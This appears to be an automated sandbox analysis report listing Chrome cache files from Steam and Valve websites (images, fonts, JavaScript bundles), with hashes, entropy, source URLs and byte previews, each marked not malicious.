SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansMedium4.015;Plau;MotivaS
Category:	downloaded
Size (bytes):	124048
Entropy (8bit):	6.074024700633004
Encrypted:	false
SSDEEP:	1536:v4Kkq/szjKJRIDCnR96guXgECINo28BZZDhpkemOXaxq4jKea8GyFLaE0Af0ffL9:vf/fxn7ElXxE0wS0fj9
MD5:	2D64CAA5ECBF5E42CBB766CA4D85E90E
SHA1:	147420ABCEB4A7FD7E486DDDCFE68CDA7EBB3A18
SHA-256:	045B433F94502CFA873A39E72D616C73EC1B4C567B7EE0F847F442651683791F
SHA-512:	C96556EC57DAC504919E806C7DF536C4F86892B8525739289B2F2DBBF475DE883A4824069DBDD4BB1770DD484F321563A00892E6C79D48818A4B95406BF1AF96
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Medium.ttf?v=4.015
Preview:	........... DSIG...........GDEF...4...,...@GPOS......l..u.GSUB.d....w.....OS/2u..........`cmap.d..........cvt G..t........fpgm.6!........gasp............glyf5.}2........head...W.......6hhea...v.......$hmtx._X.........loca.:yV........maxp.......l... names...........post.......<....prep..........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4458), with CRLF line terminators
Category:	downloaded
Size (bytes):	156982
Entropy (8bit):	5.435620292080094
Encrypted:	false
SSDEEP:	1536:D11KAh60MhmjGFhB1e5lnl9b/PdVcTzWMGEN3qxVqGoteFANNfsf9M6kQuOEmTdh:808B1e5/9b3dVcj9qVqZrrUEvm
MD5:	9CAB64AE7399518E41E6B1CBDB12046D
SHA1:	1DD2DD1313D0E197E986F37284ED8EC4DF08AFF5
SHA-256:	A61DF7D1067A60F7179FF71071A3D8AC030DD3B36F40A3D51DE87A97106E2693
SHA-512:	D4A3C7DB2B80FFD8BECF08EF7BC74661581B006EFDC2FF018D4FB4651BF1ABD8ECA76901202C75DA9B80D1FFEE0FA316CE7E38202A3AE223CA3C6E47DC8F9371
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/shared_global.js?v=nKtkrnOZUY5B
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3207
Entropy (8bit):	7.929417630532427
Encrypted:	false
SSDEEP:	48:4/6c6pVCtBEk0RSsouHmNbs8e7mf6TRdfNHMonp1J4kezFflFlig7xKZ1cxB:4SLpkBEYsouGuriyT7FsuPIl6gwZ1m
MD5:	302025BB525953B50D68EECD59FD185C
SHA1:	2BF0A295B5874E2197B6157C64A09791A27143F1
SHA-256:	EBCCCFC2AFA2440CD2C066A6FE91988882C083F1785E434C31C42F4C3FCE0DBF
SHA-512:	B8C9FEF04B970C9F3D26BBCD006AE0574B3980D6E733F73C3CCD6B7AB368835FFB3EC024937CB3AE3D02474E780FB93A992FC5B4E651C32B34AA9E2D87B14A72
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_chat_icon.png
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx...T.W...j.d.lP.T....P.M.".F......Qp.I..I.9.(...KP...L0....%q...h"Qc\...#H#..5...H...'.w.;.....{....[U.A$....07..'......%x(.W......%....)=.......FP~pT.m.......E.oA.6...j.z.!h..Kx...f.M4.Z>.>..S.$.%...I..hNp....... .....9..f&..p.C..G....\c.....;.:..dWJ4k8..G.je..zO..el.Bg&....>8...U.V.O.\|..j.....J<?(md.b..\.!h.i.R....s.IY..j.,...Z.v1t:<.hM.,<..1.PQR...LKs3......9..&....i..xXX....u....\[..`[M...5..rA@WG.uq...e..\...W........p.V......h..4e}..#.M..D.0.WD.x.o..0...G.v...t.i9.......cL.%..oH.G=..p...pq..=....>9\|..y....!..8au...d.mmc......S..".4d........P.X{.^.D"E...]...K..M..e.L..rB..o...7....vB.&..b.+!0...i..o.@xt..k.......C...>r..K...A.7f.._.t=.._....0...!..)#...M..ZJYk..w',.......(...n.Nmm... 1.~../......#.Q.....z....^.;.."...{......L.1\|.A.!#.=..l..o..H{........<..-v/....]..".I....M...4..4..:...B......>.....`k......w..S.....s..M..VZ.~.>...2...9....F8;...o@*

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1180 x 645, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	101582
Entropy (8bit):	7.970123560814674
Encrypted:	false
SSDEEP:	3072:5RkTQQ4nc73gMdc+BcBLvWf9GDxUZcUXTg8UQmmX:5dQ4c73je9UDjUPs
MD5:	0307F8A611F6B99C78D9AE9DFB609364
SHA1:	F9ED2F690FC13CE9A7D04673572EB4D8FC8673E5
SHA-256:	0E11D35F8B7AA18C793A790A1C562637EBB8D61FFD842C942A2357AB1FFA5B5A
SHA-512:	EEB6C21C20E5620CF991AD9CA343137814ED23F9C0E8F3C45046448F587989CF64949947D24C29207F68ABDEB44E8AF074FA6FB81C34F60595914A299A866B74
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............'.....pHYs.................sRGB.........gAMA......a....cIDATx..}...-.q...A....>.i;.......{..B`..........H...[...6....23z.;......lTOqI..\|&.....%.j=..FrP...L.^."....)G].d...3...Y...4.....@ ..=.r+.[....z.-..\...."..2...p..Q..S..y...<Ty!.'......u.\..\..D]`.-....b../..Xs(y.z...L.(C...yyji.!.j....s.u.........J....X..2O.&..}R.......s.{...0.G...?..;.#.D6.Tv.L:=..!.2......'.2.m.63..........-...z.:).......lhrm4..I.._5...,{i...t.......Qn.3I..@ ..<.F.?...K...Y.c.2/.....X<i.K.n.,.:+.....u4....Io..h.*.U.+DVt.k.?e_.......$..w.P..^..G'...K.Cxm..v.._qo....!A.i...~.-..T.?.pR..m0.d0......#."_D\|.i+.&f0P'.RY.4\.d...H..s...p.Sz.....N...SRt....!7.'.Y..2.;2.+.d>.......OB..yn.....aG+.F.T_.A....D.A.m3.Y........XN.ls&..i.++.M.I_.Ieh....;.".\h..R.f..]...%.i$xyM.....A.....>..o.j4.L.@F..ay...e9..\|..i...N...s.......6..G.4.6..8...u.../.....~..........3.....g..F.~.D<..M..@..p.]y.....e$.....H.V...ns....#.K...v..yz3...;..."..4.(c...{.

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2175818
Entropy (8bit):	5.562473572476677
Encrypted:	false
SSDEEP:	12288:FoNNy6NEjLDgfHxyvXoW1hsMpta8vlrgAdW718HmDLuNg/dt7muR0Pq:FANyvDg0hsMHaSrg6WxLuNCdtKuR0Pq
MD5:	694562C2AD40E74A8B87C3120B08A1FA
SHA1:	27F264BD235654B8AF75E8F9D40C5EADBF2E3DEA
SHA-256:	792F51AA46A8493DC87FD2956E7B1F3D70D8B242197CE80A9086795B4C6A7992
SHA-512:	4EF828B3870C2E9B40594E2179205D84C2DBC1B405C5D543BE0DFBA323588DED4832D690609D16070633496D3FC5741F77D6A8E6E64C80EED76213814A67D741
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8792],{53955:(e,t,r)=>{var i={"./shoppingcart_brazilian.json":[46865,4977],"./shoppingcart_bulgarian.json":[62810,9050],"./shoppingcart_czech.json":[16052,6771],"./shoppingcart_danish.json":[83976,4630],"./shoppingcart_dutch.json":[85333,8709],"./shoppingcart_english.json":[95811,311],"./shoppingcart_finnish.json":[81676,2964],"./shoppingcart_french.json":[11481,3679],"./shoppingcart_german.json":[91187,2753],"./shoppingcart_greek.json":[89155,5579],"./shoppingcart_hungarian.json":[74150,9326],"./shoppingcart_indonesian.json":[39761,9935],"./shoppingcart_italian.json":[82411,2095],"./shoppingcart_japanese.json":[38374,1192],"./shoppingcart_koreana.json":[59552,2184],"./shoppingcart_latam.json":[32464,6592],"./shoppingcart_norwegian.json":[93987,3167],"./shoppingcart

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.1162646156680225
Encrypted:	false
SSDEEP:	3:YHr0I1W/Aw:Y4I1W/Aw
MD5:	7D8E35AFA8792B923F4E6C5906E7C4B5
SHA1:	32168FBCD8A98B424F566046D3680648B49AC633
SHA-256:	D5C8F5FB29CA010EC4C6E11774D17B0CC27B21304811521E29141F581C061E87
SHA-512:	6C77E16CC85801E0D6732876B7A1B59F48CD19FE5FFBCF081C6EC96D496BE48421A92A4C0258AED151B922515B48553069B7188107B62AD0AB80B421B8D7CBB3
Malicious:	false
Reputation:	low
Preview:	{"bAllowAppImpressions":true}

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	700
Entropy (8bit):	6.912261889131172
Encrypted:	false
SSDEEP:	12:Ac150Xyose8z9U9lJ93Yu8GxqTXWn+ygiIlqYm3c8VDfTIiGO2OU2Q+GT/lDhWpi:Ac1spMUp93YDGAXWn+IIbmPfMiGO7U2M
MD5:	FAC0B2E3A3EEF22CC8B5D10F740AAA15
SHA1:	2BF712CEAD5B5000EA7C9DF5E7539B01571F4BD8
SHA-256:	525D86CE4631D5494BE8D2174C96241CBC1B7AE03A7093E56019807CB9FEE36A
SHA-512:	EBAD530320AC3CC0329689C6A6615F11AE9CDC28E83E18A44432B95C0EB0220B1D409173BA1A17D1FE9039ED719E5F44E1E431831769F70233BF2A10C265AC37
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/2429640/2f68e286764ecc7774825d4f122d557259e0089d.jpg
Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . ..".....................................'..........................!1A..2Qa.."...................................................!1."q............?....p...3B.s9G.MY......o....p2O....T.6....#Z ...[.......0w.5zA+........c_..s.iO.z..g..i1.+4e=...;..q..~......$q...k4y..Q..X'1.5...... .8..=...."<....k.....X.=....Gd.o.6.;G.....L.}....:..5.V..<...%\.*hk....+.@.b@;.....)..R%.N.]....~7..<~_!..6%.u.&W;..0..k\|6..t..uU.....K.C~.....%.......sm<.\|...O.0.t.j.:Vp.....C.O....r.dn5.,..(v....>....;6o.7l.a.^.gn...[>u...Z.<.Cc!.w?..

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=12, height=690, bps=158, PhotometricIntepretation=RGB, orientation=upper-left, width=2038], baseline, precision 8, 1600x690, components 3
Category:	dropped
Size (bytes):	50887
Entropy (8bit):	6.852179144698946
Encrypted:	false
SSDEEP:	1536:lqA5Kl4nn9bogS73BTeo7xk884jtUUit4cs114:44nn9bRSzBeU84uL4w
MD5:	9B4B2EBBB01BE5C4CFE1FCBDD9DA0EF0
SHA1:	8D17A27B2268930B4EC86C56F9CD0C73CE18FF7C
SHA-256:	AEACBF69F083C220DA60B8994C08CF8CD1505A62A0DF5A7C0A9AA4F258BAB1E7
SHA-512:	0A15B6E53C85E193BAA7618AB0FF50AFE764E613B9D02EADA43DA6BA23EFB7A845E2A39561F935EC5247D4FBCADAD1390BE91AD10EF913E502BA68879CED53D2
Malicious:	false
Reputation:	low
Preview:	......Exif..II.......................................................................................................(...........1...........2...........i........... ..............'.......'..Adobe Photoshop CS6 (Windows).2014:08:01 14:57:41.............0221....................@...........................................n...........v...(...................~...................H.......H.............Adobe_CM......Adobe.d.................................................................................................................................................E...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?...#5...N.)Z.....ad.I'-RI.$..I2t..R.!H$.mS.!H$.A:d.R.Az+.^.R...+6*.(.......#5..

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 63628, version 0.0
Category:	downloaded
Size (bytes):	63628
Entropy (8bit):	7.993563067370757
Encrypted:	true
SSDEEP:	1536:uacKl4quxZGi4XBHTXzU+9kZq7F1Tkd4wC5IryvbDz:rBl4qqGiO1TXYBI1YdCIryPz
MD5:	E704D909203F0E6A4AC8624C1E1B6536
SHA1:	061607C6A57E63580FC7A46658763FF36CDD926D
SHA-256:	54B3BF2E12E41641DEE7690B6E0ECCF778D341713CB957AFF9012F41D923CBE2
SHA-512:	C92AA2AC2CA0C75EBC5EDD5008579692C120F05B33BBBCE2F7F835B9CECDDC3F1064647AA0543B93E17770422D4105227B32D0300D37B92E5A66610EC9FC8036
Malicious:	false
Reputation:	low
URL:	https://fonts.cdnfonts.com/s/61286/MotivaSansExtraBold.woff
Preview:	wOFF........................................FFTM............g..GDEF...........8....GPOS..........)6.s(aGSUB............6..OS/2.......P...`z..<cmap............{.z.cvt .......).....M..fpgm...,.......b....gasp................glyf................head...H...1...6...Ihhea...\|... ...$.:..hmtx..............loca...$...$...$G..-maxp...H... ... ...Zname...h...Z...S.(.<post.......2......+prep.............h...........=.......UH......s..x.....@@....5..)),.#....@-&.x}...9rj..bF..P....x...tV......%..&.x...n@..:.....Pw[.....Rc2..4...z..iJ..y.^.OH....0.{..w..G.}v...9....7..)d..............Q8G.X..\B'.8....9S.s.R.=../..K.~._..l..J..%....{.,H....#....tFE.SB)e.S...f.C..pFP.H...h.0.#9..9.c.+.c:.q1.p).q9Wp%Wq53..k...........;.....{x.U.a....3<...'...../.....y......m..}...O.N3-.`'.i5,..E-.-..,.2-.r....<;....Y..Y....v...E.....L..hU.=.N.j......v.....lk...c....`g.P4T JBW...Z..&\.*...>5\|^$]{...5..ow.;..[..G-.N.h..Q...P.>V..T.F...=u..G..E...~.2=.......WK.4;..A....im..sc02.2......

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	89437
Entropy (8bit):	4.934831850769131
Encrypted:	false
SSDEEP:	1536:LlaY4P+xmlvr+k3mCQHNl9EvOxzXQApcGBPVCGUb6WFA66WqiLOrVQXWl:E1XZEl9EvOxzLcGBkQ1WA
MD5:	31ED48071CE4B62C24520C95BCDE6026
SHA1:	C073152E6835FBA2DED4CC215F3985266BE23F2B
SHA-256:	08B39451EABACA10CD735816CDC5AF4A35B05FBB197E2082235B6E16BE62DEDB
SHA-512:	1CB651EC52D7EB67A961436A48340D0B783BC944CD54008D00E8B26D933D0668380126C6ACAE89EF10906FD96E8DA9ED4EF773DFD9C761F608FF7EBDA5554AE7
Malicious:	false
Reputation:	low
Preview:	// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008....// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)..// ..// Permission is hereby granted, free of charge, to any person obtaining..// a copy of this software and associated documentation files (the..// "Software"), to deal in the Software without restriction, including..// without limitation the rights to use, copy, modify, merge, publish,..// distribute, sublicense, and/or sell copies of the Software, and to..// permit persons to whom the Software is furnished to do so, subject to..// the following conditions:..// ..// The above copyright notice and this permission notice shall be..// included in all copies or substantial portions of the Software...//..// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..// NONINFRINGEMENT. IN NO EV

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	972384
Entropy (8bit):	5.832227573654786
Encrypted:	false
SSDEEP:	12288:ScMUDNR7fkrf13Y1AXUSkloAXp4IAoRnOSd0k8JFW5qsx:rJKfCGUSkloPzoRnOSZyFW5qsx
MD5:	4F4506F667B9E46FB591B41A4D34E26D
SHA1:	9807327119E84CD8EC7E953E6B2B995775895160
SHA-256:	676BEBD7F2729D5C605505B335F730375AC74880D3903C80393736B263DC0265
SHA-512:	4083E6AAA180EEB0B9F393F072159766B266C8DB8C298F104FD16BF10E2FEB10FD612BA0BEF7B7CD3BB1E8D5C6C0AA20529973683816399D60F582342D357156
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/libraries~b28b7af69.js?v=T0UG9me55G-1&l=english
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8997],{41735:(e,t,r)=>{e.exports=r(38681)},61238:(e,t,r)=>{"use strict";var n=r(51362),o=r(65072),i=r(74438),a=r(63724),s=r(47429),l=r(83862),u=r(24508),d=r(38466),c=r(35407),g=r(99461),p=r(97962);e.exports=function(e){return new Promise((function(t,r){var h,f=e.data,_=e.headers,m=e.responseType;function y(){e.cancelToken&&e.cancelToken.unsubscribe(h),e.signal&&e.signal.removeEventListener("abort",h)}n.isFormData(f)&&n.isStandardBrowserEnv()&&delete _["Content-Type"];var b=new XMLHttpRequest;if(e.auth){var v=e.auth.username\|\|"",M=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";_.Authorization="Basic "+btoa(v+":"+M)}var S=s(e.baseURL,e.url);function L(){if(b){var n="getAllResponseHeaders"in b?l(b.getAllResponseHeaders()):null,i={data:m&&"text"!==m&&"

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	124529
Entropy (8bit):	7.79044844464572
Encrypted:	false
SSDEEP:	3072:R24zCBv0a8Oz/fxlnI0Nc49J7g3HOHQZP:R2GCea8OzHfjO85ygs
MD5:	48B805D8FA321668DB4CE8DFD96DB5B9
SHA1:	E0DED2606559C8100EF544C1F1C704E878A29B92
SHA-256:	9A75F8CC40BBE9C9499E7B2D3BAB98A447685A361489357A111479517005C954
SHA-512:	95DA761CA3F99F7808A0148CFA2416B8C03D90859BFF65B396061ADA5A4394FB50E2A4B82986CAAB07BC1FCD73980FE9B08E804B3CE897762A17D2E44935076D
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2612), with CRLF line terminators
Category:	dropped
Size (bytes):	154404
Entropy (8bit):	5.337881533074874
Encrypted:	false
SSDEEP:	1536:D1l9Ah60MhmjGFh61e5lnl9bsPdVcTzWMnyN3qxVqGoteFANNfsflM6kQuOEmTMu:n0861e5/9b6dVcm9qVqZfrUEoIm
MD5:	444106254D61C24625741613608F5DA0
SHA1:	2D5B79109AB130C586F006EFF9B3132030E8EA83
SHA-256:	34E7C6C8A8962B8921E20C19BC00A204CACC2BC248D4A0663880EA7FFD03FD67
SHA-512:	96A6A6C6948DE8C819B552FCFA06F9BA13D8102C219E6E4C93D5913B6910AC13C78B1E3641A280377B7915A9BEF9A120C3EFE7B527885ADFF24BFFCFB0272CF7
Malicious:	false
Reputation:	low
